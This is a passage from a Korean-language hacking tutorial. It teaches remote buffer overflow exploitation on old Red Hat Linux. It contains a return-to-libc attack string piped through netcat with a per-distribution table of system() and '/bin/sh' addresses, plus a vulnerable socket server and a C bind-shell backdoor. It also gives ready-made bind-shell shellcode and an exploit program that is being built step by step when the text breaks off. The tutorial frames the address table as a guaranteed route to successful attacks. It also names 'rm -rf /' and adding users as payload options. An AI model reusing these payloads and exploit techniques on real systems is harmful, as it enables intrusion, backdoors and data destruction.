0xbffffac0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffad0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffae0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffaf0 73 68 00 00 73 68 00 00 73 fb ff bf 99 74 01 42   sh..sh..8....t.B

0xbffffb00 01 00 00 00 64 fb ff bf 6c fb ff bf fa 82 04 08   ....d...l.......

 

위에서 0xbffffaf0 라인의 가장 오른쪽에 있는 \x42017499가 바로 main 함수의 올바른 리턴 어드레스이다. 그리고 리턴 어드레스의 시작 주소에서부터 8바이트 떨어진 곳을  보면, \xbffffb64가 위치한다. 그리고 이 것은 argv[0]의 주소이다. 이제 다시 공격 하는 상황으로 돌아가서, return address + 8 부분을 지정해주지 않은 채, \n가 입력되고, \n 0x00으로 변환되는 상황을  생각해보자.

 

그럼, 위 주소에서 0xbffffb00 부분에는 GARBAGE "AAAA"가 입력될 것이고, 바로 뒤의 \x64 \n이 되었다가 최종적으로는 \x00이 될 것이다. 따라서, return address+8의 값은 결국 \xbffffb00이 되어버린다. 그리고 그 부분에는? 그렇다. 바로 "AAAA" 가 있다. 그렇기 때문에 0xc0000000이 주소가 되었을 때 AAAA가 실행되었던 것이다.

이는 즉, 비단 0xc0000000 뿐만 아니라, 앞쪽 1바이트가 NULL이 되는 모든 주소일 때도 같은 상황이 나타나며, 아예 이 주소 값을 지정해주지 않아도 같은 상황이 나타 날 것이다.

 

, 위에서 AAAA가 위치하게 되는 0xbfffff00 주소 값이 시스템에 따라 항상 일정 한 것이 아니다. , 만약 AAAA가 위치하게 되는 주소가 0xbfffff10이라면, return address+8 부분의 첫 바이트가 NULL로 바뀌어봤자 전혀 소용이 없다. 따라서 이 공격은 AAAA가 위치하는 부분의 주소가 00으로 끝나는 환경에서만 적용된다는 단점이 있다. 그러나, 이 특징을 잘 이해하고, 여러가지 공격 테스트를 직접 경험하여 노하우를 쌓게 되면, return address+4 부분의 값이 보통 어떤 것이 된다는 것을 예측할 수 있게 될 것이다. 아마도 보통 0xbffffb00, 0xbffffb10, 0xbffffb20,... 0xbffffbf0, 16개 중의 하나가 될 것이다. 마지막 1바이트가 무조건 1이 되는 이유는 리턴 어드레스가 16바이트 단위로 정렬되어 dump했을 때 가장 뒷 부분에 위치하기 때문이다. 가장 뒷 부분은 0x???????f로 끝나게 됨으로 그 다음 바이트이며, AAAA가 위치했던 주소의 끝 바이트는 자연스럽게 0이 되는 것이다.

이 특징을 파악하였다면, 최대 16번 이내에 RTL 기법을 성공시킬 수 있음을 의미 한다. 텍스트 만으로는 이해가 힘들 것이니 더욱 자세한 내용은 직접 테스트를 해보며 학습하기 바란다.

 

단 한번에 RTL을 이용한 공격 성공시키기 2

 

이번엔 또 다른 방법으로 RTL 공격을 단 한번에 성공시키는 방법이다. 앞서 우리는 OS의 버젼만 동일하다면, 라이브러리 내의 system() 함수 주소 역시 동일하다는 것을 배웠다. 그럼, 라이브러리 내에 존재하는 "/bin/sh"라는 문자열의 위치 역시 항상 일정하지 않을까? 아마도 적재되는 라이브러리의 내용은 항상 정적임으로 system() 함수의 주소와 마찬가지로 일정한 주소 값에 위치하게 될 것이 확실하다.

그럼, 과연 라이브러리 내에 "/bin/sh"라는 문자열이 존재할까? 존재할 확률은 매우 크다. 일단, "/bin/sh"라는 문자열이 워낙 빈도있게 사용되는 문자열인데다가, system() 등의 쉘을 호출하는 함수들이 아마도 내부적으로 "/bin/sh"을 필요로 할 것이기 때문이다. 그럼, 다음과 같은 간단한 프로그램을 구현하여 라이브러리 내에서 "/bin/sh"라는 문자열을 찾아보도록 하자.

 

===========================================================

int main()

{

        char *pointer;

        pointer = (char *)0x42000000;

 

        while(1){

                pointer++;

                if(strncmp(pointer, "/bin/sh", 7)==0){

                        printf("Found : %p\n", pointer);

                        exit(0);

                }

        }

}

===========================================================

 

보다시피, 0x420000000에서 1바이트씩 증가해가며, "/bin/sh"라는 문자열을 검색한다.

그리고 만약 찾았을 경우 그 주소를 출력해준다. 위 프로그램을 실행해보자.

 

======================================

[root@ftz BOF]# gcc -o find find.c

[root@ftz BOF]# ./find

Found : 0x421273f3

[root@ftz BOF]#

======================================

 

위에 보이는 0x421273f3 주소에서 "/bin/sh"라는 문자열을 발견하였다. 이 주소 공간은 420000000 ~ 4212c000 사이의 값임으로, libc-2.2.5.so 공유 라이브러리 내의 값이라는 것을 /proc/self/maps 파일을 통해 유추할 수 있다.

 

, 이제 각 배포본에 해당하는 system() 함수 주소를 수집했던 것처럼 "/bin/sh" 주소의 값 역시 정리해보자.

 

각 배포본들의 system, "/bin/sh" 주소 모음 (차후 계속 업데이트 예정)

 

======================================

배포본       &system     &"/bin/sh"

--------------------------------------

레드햇 6.2 : 0x4005aae0  0x400fdff9

레드햇 7.3 : 0x42049e54  0x421273f3

레드햇 9.0 : 0x4203f2c0  0x42127ea4

======================================

 

이제 이 값들을 토대로 취약 프로그램에 대한 리모트 공격을 한번에 성공시켜보자.

 

취약 프로그램

======================================================

int main()

{

        char buffer[100];

        gets(buffer);

        printf("당신이 입력한 문자열 : %s\n", buffer);

}

======================================================

 

공격

========================================================================

[root@ftz BOF]# (perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42AAAA";

printf "\xf3\x73\x12\x42"; printf "\n"';cat) | nc localhost 31337

id

uid=1000(guest) gid=1000(guest)

(공격 성공)

========================================================================

 

공격 STRING 분석

 

- printf "A"x124 : 버퍼와 SFP를 덮을 쓰레기 값

- printf "\x54\x9e\x04\x42AAAA" : system 함수의 주소 +

                                  쓰레기 4바이트(ret + 8에 인자가 위치함으로)

- printf "\xf3\x73\x12\x42" : "/bin/sh"의 주소

- printf "\n" : 엔터 (gets에 대한 입력의 끝을 알림)

 

이제 공격 과정이 너무나도 간단해졌다. 위 주소 모음을 수첩에 적어놓고 다니면

버퍼 오버플로우 공격은 따논 당상이 된다. 참고로 위 주소 값은 로컬 환경에서도 그대로 적용되며, 만약 위 주소 값과 실제 값이 다른 상황이라고 하더라도 로컬에서 직접 주소를 구하면 되니 걱정할 필요가 없다.

이로써 총 7가지 방법으로 리모트 오버플로우 공격을 시도해 보았다. 이 것으로

문서를 마치도록 하고, 조만간 Xinetd에 연결되지 않고, 독립적으로 구현된

네트워크 프로그램에 대한 공격 테스트를 이번에 한 것과 같은 순서로 설명하여

올리도록 하겠다.

 

 

 

 

 

 

리모트 버퍼 오버플로우 총정리2

made by Hackerschool_mongil

 

 

부제 : 독립적인 네트워크 프로그램에 대한 오버플로우 공격
 
Xinetd에 의해 네트워크에 연결된 로컬 프로그램은 그것의 표준 입출력 주체가 모두 해당 Port에 연결된 클라이언트가 된다. 그렇기 때문에, 오버플로우 공격에 성공 하여 쉘을 획득하게 되면, 그 쉘의 표준 입출력 역시 Xinetd의 덕으로 클라이언트와 연결이 되어 공격자가 자유롭게 쉘을 사용할 수 있었던 것이다. 하지만, Xinetd와 연결되지 않는 독립적인 네트워크 프로그램. , 직접 socket을 생성하고, bindlisten 과정을 거쳐 accept로 클라이언트의 연결을 기다리는 프로그램으로의 입력과 출력은 프로그램 내에 구현된 send() recv() 등의 함수에 의한 통신만 가능하다.
따라서, 이러한 프로그램을 공격하여 쉘을 획득하였을 경우엔 그 쉘과 공격자가
서로 통신을 할 수 있는 매개체가 존재하지 않는 상태가 되어버린다.
결국, 공격자가 공격에 성공한다 하더라도 자유로운 쉘 권한은 획득할 수 없는
것이다. 이번 강좌에서는 이러한 상황에서 타겟 서버의 쉘을 획득하는 방법에 
대해 설명한다. 다음의 취약한 소스를 보자.
 
=============================================================================
// 리모트 버퍼 오버플로우 취약점을 가진 프로그램
// string 변수의 크기는 300바이트이나, recv() 함수로 400바이트를
// 입력받아 string 변수에 저장하는 과정에서 오버플로우 발생.
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
int main()
{
        char string[300], sendmsg[400];
        // sendmsg 변수는 단순히 클라이언트로의 응답을 위한 것임.
 
        int sockfd, your_sockfd;
        struct sockaddr_in my_addr, your_addr;
        int len;
                
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(31337);
        my_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&my_addr.sin_zero, 8);
 
        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1){
                perror("bind error");
                exit(-1);
        }
        listen(sockfd, 5);
 
        while(1){
        len = sizeof(your_addr);
        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
 
        if(your_sockfd==-1){
                perror("accept error");
                exit(-1);
        }
 
        if(fork()!=0){
            close(your_sockfd);
            continue;
        }
        else
            break;
        }
        printf("connected from %s\n", inet_ntoa(your_addr.sin_addr));
        len = recv(your_sockfd, string, 400, 0);
        printf("String Length = %d\n", len);
        string[len-1] = '\0';
        sprintf(sendmsg, "당신이 입력한 문자열 : %s\n", string);
        send(your_sockfd, sendmsg, strlen(sendmsg), 0);
 
        close(sockfd);
        close(your_sockfd);
}
===========================================================================
 
위 프로그램은 TCP 31337번 포트를 생성한 후, 이 곳으로 접속된 클라이언트에게 한 번의 문자열을 입력 받은 후, 그것을 다시 클라이언트에게 출력해주고 종료한다.
이처럼, 독립적인 네트워크 프로그램으로 구현될 경우엔 소스 내의 send() recv()함수가 요청하고, 보내주는 입출력만 처리할 수 있다. , 위 프로그램의 경우엔 오로지 한 번 입력을 받고, 역시 한 번 출력을 할 수밖에 없는 것이다. 그럼 위와 같은 환경에서 string 변수를 overflow시켜 쉘을 획득했다고 해보자. 그럼, 그  쉘의 입력과 출력은 어디로 연결될까? 보다시피 main() 함수가 종료된 이후에는 아무런 send() recv() 함수도 존재하지 않음으로, 입력도 받을 수 없고, 출력 역시 할 수 없다. 더군다나, main() 함수가 종료되기 직전에 sockfd your_sockfd. , 통신에 사용하는 모든 소켓을 닫아버리기 때문에 쉘과 입출력 통신을 하는 것은 더욱 막연 하기 만하다. 아마도, 위 프로그램을 오버플로우 시켜 쉘을 띄우게 되면, 그 쉘을 실행하는 것은 프로그램의 백그라운드 프로세스가 될 것이다. , 공격자와 공격 대상자가 있을 때, 공격 대상자의 쉘이 다시 공격 대상자에게 실행되는  것이니 아무런 의미가 없다. 더군다나 실제로 위와 같은 형태에 네트워크 프로그램은 터미널에 연결되지 않은 데몬 형태로 작동하는 경우가 대부분이며, 그와 같은 경우엔 쉘이 실행되더라도 그 쉘을 받게되는 주체는 아무 것도 없게되고, 따라서 통신 대상이 없는 쉘은 실행된 즉시 소멸될 것이다. 
 
, 그럼 이와같은 상황에서 어떻게 공격을 구상해야할 것인가? 일단, 쉘코드. , 타겟 서버로 전송되는 기계어 코드가 꼭 쉘을 띄우는 것만일 필요는 없다는 점을 상기해야 한다. 다시 말해 타겟 서버에 명령을 내리는 어떠한 기계어도 실행시킬 수 있다는 얘기다. 따라서 꼭 쉘을 얻는 것만이 아닌 "rm -rf /" 역할을 하는 기계어도 실행시킬 수 있고, "adduser mirable"이라는 명령의 기계어도 실행시킬 수 있다는 말이다. 비록 직접적으로 쉘은 얻어내지 못하더라도 우리는 원하는 모든 명령을 타겟 서버에 실행되게 할 수가 있다. 그럼, 과연 어떤 기계어 코드를 전송해야 가장 효과적일까? passthru() 함수를 담은 /home/public_html/backdoor.php 파일을 만들까? 이건 좀 번거로워 보인다. 그럼, /usr/sbin/in.telnetd 프로그램을 이용 하여 백도어를 생성할까? 그나마 조금 괜찮은 방법이다. 하지만, 가장 효율적이고 실제로 해커들이 가장 많이 사용하는 방법은 바로 취약 프로그램과는 별개의 새로운 소켓을 생성하고, 포트를 열고, 그것을 "/bin/bash"와 연결시키는 이른바 Bindshell 백도어를 실행하는 것이다. 이 백도어를 실행한 후, telnet 등을 이용하여 포트에 접속한다면, 직접 "/bin/bash"를 실행하는 것과는 다른 방법으로 쉘을 획득할 수 
있게 된다. 
 
, 그럼 이제 답은 나왔다. 지금까지 사용해왔던 "/bin/bash"를 실행하는 쉘코드는 독립적인 네트워크 프로그램에 대한 오버플로우 공격엔 아무런 쓸모가 없음으로 버려버리고, 대신 백도어 쉘을 생성하는 바인드 쉘 코드를 사용하도록 하자.
그럼, 먼저 바인드 쉘 프로그램을 C언어로 구현하여 그 동작 원리를 이해해 보도록 하자.
 
==========================================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
int main()
{
        int sockfd, your_sockfd, len;
        struct sockaddr_in my_addr, your_addr;
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(12345);
        my_addr.sin_addr.s_addr = INADDR_ANY;
        memset(&my_addr.sin_zero, 0, 8);
 
        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){
                perror("bind");
                exit(-1);
        }
        listen(sockfd, 5);
 
        len = sizeof(your_addr);
        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
 
        dup2(your_sockfd, 0);    // 표준 입력을 클라이언트로..
        dup2(your_sockfd, 1);    // 표준 출력을 클라이언트로..
        dup2(your_sockfd, 2);    // 에러 출력을 클라이언트로..
 
        execl("/bin/bash", "bash", 0);
 
        close(sockfd);
        close(your_sockfd);
}
==========================================================================
 
가장 핵심이 되는 부분은 dup2()가 사용된 세 줄이다. dup2()는 디스크립터 복사
함수로써, dup2(your_sockfd, 0) your_sockfd 디스크립터를 0 디스크립터로 복사 하라는 의미임으로 곧 0 your_sockfd가 된다. 0 stdin. , 표준 입력이며, 표준 입력이 your_sockfd(클라이언트와 연결된 소켓)가 된 것이다. , dup2(your_sockfd, 1)에 의해서 표준 출력의 주체 역시 클라이언트의 소켓이 되었다. 마지막 dup2(your_sockfd, 2)에 의해서 에러 출력의 주체도 클라이언트가 되었고,결과적으로 프로그램의 입출력 대상이 포트에 연결된 클라이언트가 되었다.
또한, 이 상태에서 "/bin/bash"를 실행하였으니, 쉘읠 입출력 대상 역시 클라이언트가 되는 것이고, 클라이언트 입장에서 볼 때는 마치 로컬에서 직접 쉘을 실행한 것과 같은 결과를 얻게 되는 것이다. (위 프로그램은 원리 이해를 쉽게하기 위하여 오직 한 번의 클라이언트부터의 연결만 받도록 구현되어있다. 여러 개의 클라이언트를 받거나, 쉘이 종료된 후에도 프로그램이 작동하도록 하려면, fork() 함수를 사용하여 접속이 올 때마다 똑같은 프로세스를 복사해서 실행하도록 수정하면 될 것이다.)
 
이제 위 C언어 코드를 기계어. 즉 백도어 쉘코드로 변환하는데, 직접 쉘코드를
구현하면 많은 시간과 지면이 소요됨으로 이 강좌에선 이미 완성된 백도어 쉘코드를 가져와 사용하도록 하겠다.
 
◎ TCP 45295 Port를 열어주는 Bind Shell 백도어 기계어 코드. (from sambal.c)
 
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
위 문자열은 총 210바이트이며, 이 용량을 수용하기위하여 취약 프로그램의
버퍼 크기를 넉넉하게 300 바이트로 할당한 것이었다.
그럼 이제 실제 공격 테스트를 진행해보자. 공격 환경은 다음과 같다.
 
==================================================================
Target : ftz.hackerschool.org, 레드햇 7.3, gcc 2.96
         다음과 같이 guest 계정으로 취약 프로그램을 실행한다.
 
[guest@ftz guest]$ gcc -o vuln_prog vuln_prog.c
[guest@ftz guest]$ ./vuln_prog
==================================================================
 
공격자의 서버 환경은 유닉스 기반이기만하면 어떤 것이 되던지 상관없다. 
이 문서를 작성할 땐 같은 서버에 또 하나의 터미널로 접속한 후, localhost
공격을 테스트하였다.
 
==================================================================
[guest@ftz guest]$ telnet localhost 31337
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
hello
당신이 입력한 문자열 : hello
Connection closed by foreign host.
[guest@ftz guest]$ 
==================================================================
 
그럼 이제 어떤 방법으로 공격할지를 구상해보자.
공격 방법을 쉽게 떠올릴려면, 취약한 루틴에 해당하는 버퍼 상태를 그림으로
그리는 것이 큰 도움이 된다.
 
* vuln_prog의 버퍼 모습 (STACK)
 
[sendmsg(400 bytes)] [string(300 bytes)] [sfp] [return address] [ ... ]
 
여기서 문제가 될 수 있는 것은 dummy이다. 컴파일러에 의해서 dummy가 추가될
수 있기 때문이다. 다음과 같은 간단한 테스트 프로그램을 만들어 dummy 생성
여부를 확인해 보자.
 
============================================
#include "dumpcode.h"
 
int main()
{
        char string[300], sendmsg[400];
 
        memset(string, 'A', 300);
        memset(sendmsg, 'B', 400);
 
        dumpcode(sendmsg, 800);
}
============================================
 
* 실행 결과
 
==============================================================================
[guest@ftz guest]$ gcc -o dummy dummy.c
[guest@ftz guest]$ ./dummy
0xbffff8a0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8b0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8c0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8d0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8e0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8f0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff900  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff910  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff920  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff930  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff940  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff950  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff960  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff970  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff980  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff990  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9a0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9b0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9c0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9d0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9e0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9f0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa00  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa10  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa20  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa30  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa40  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa50  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa60  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa70  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa80  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa90  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffaa0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffab0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffac0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffad0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffae0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffaf0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb00  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb10  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb20  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb30  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb40  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb50  41 41 41 41 41 41 41 41 41 41 41 41 51 84 04 08   AAAAAAAAAAAAQ...
0xbffffb60  84 97 04 08 88 98 04 08 a8 fb ff bf 99 74 01 42   .............t.B
0xbffffb70  01 00 00 00 d4 fb ff bf dc fb ff bf fa 82 04 08   ................
0xbffffb80  30 87 04 08 00 00 00 00 a8 fb ff bf 82 74 01 42   0............t.B
0xbffffb90  00 00 00 00 dc fb ff bf bc e5 12 42 c0 34 01 40   ...........B.4.@
0xbffffba0  01 00 00 00 70 83 04 08 00 00 00 00 91 83 04 08   ....p...........
0xbffffbb0  94 86 04 08 01 00 00 00 d4 fb ff bf e4 82 04 08   ................
 
[guest@ftz guest]$ 
==========================================================================
 
위 결과를 분석해보면, string 변수를 16바이트 단위를 만들기 위해 4바이트의
더미가 추가되었으며, return address sfp 16바이트 단위로 만들기 위해
8바이트의 더미가 추가된 것을 볼 수 있다. ,  12바이트의 더미가 생성된
것이다. 이제 버퍼를 다시 그려보자.
 
* vuln_prog의 버퍼 모습 (STACK)
 
[sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...]
 
이제 이 프로그램이 공격당할 때의 버퍼 모습을 쉽게 유추할 수 있다.
 
* 공격당할 때의 버퍼 모습
 
[sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...]
                     ~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~  ┃ 
                     [210바이트 쉘코드] [어떤 값이 되던 상관없음.] ┃
                     ↑                                            ┃
                     ┗━━━━━━━━━━━━━━━━━━━━━━┛
                      * 리턴 어드레스가 쉘코드의 시작을 가리키도록 함.
 
위와 같은 모양이 된다면, 버퍼가 오버플로우 되고, main()함수가 종료되는 시점에서 바인드 쉘 코드가 실행됨과 동시에 45295번 포트가 열릴 것이다.
이제 Exploit을 구현해 나가보자. 문제가 될만한 부분은 쉘 코드의 시작 위치를 
어떻게 알아 내느냐 하는 것인데, 역시 특별한 방법은 없으며, Brute Force를 통해 그 위치를 찾아나가야 한다. 
 
◎ Exploit 작성 1단계 : 취약 프로그램의 버퍼에 저장될 공격 string을 구성한다.
 
========================================================================
#include <stdio.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int main()
{
        char Attack_String[320];
        int Ret_Addr = 0xc0000000;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
        memcpy(&Attack_String[316], &Ret_Addr, 4);
}
========================================================================
 
취약 프로그램의 string 변수 300바이트와 dummy 12바이트, sfp 4바이트 그리고 return address 4바이트를 합하여 총 320 바이트를 공격 스트링의 크기로 할당하였다.
그 다음엔 Brute Force를 통해 변경시킬 Ret_Addr 변수를 선언하였다.
다음 부분에서 Attack_String A 문자로 가득 채운 이유는 후에 완성된 공격
스트링을 쉘에 입력할 때, ;, |, & 등의 특수 문자가 입력되는 것을 방지하기
위함이다. 이렇게 초기화를 하지 않으면 쓰레기 값들이 대신 출력되기 때문이다.
 
이제 공격 스트링의 앞부분에 바인드 쉘코드를 복사하고, 취약 프로그램의 리턴
어드레스가 위치하는 부분에 공격자가 임의로 변경할 리턴 어드레스를 복사하였다.
이 변경할 값은 쉘 코드의 시작 부분이 될 것이며, 이제 Brute Force로 이 값을
추측하는 루틴을 추가해야 한다.
 
◎ Exploit 작성 2단계 : Brute Force 루틴 추가.
 
========================================================================
#include <stdio.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int main()
{
        char Attack_String[320];
        int Ret_Addr = 0xc0000000;
 
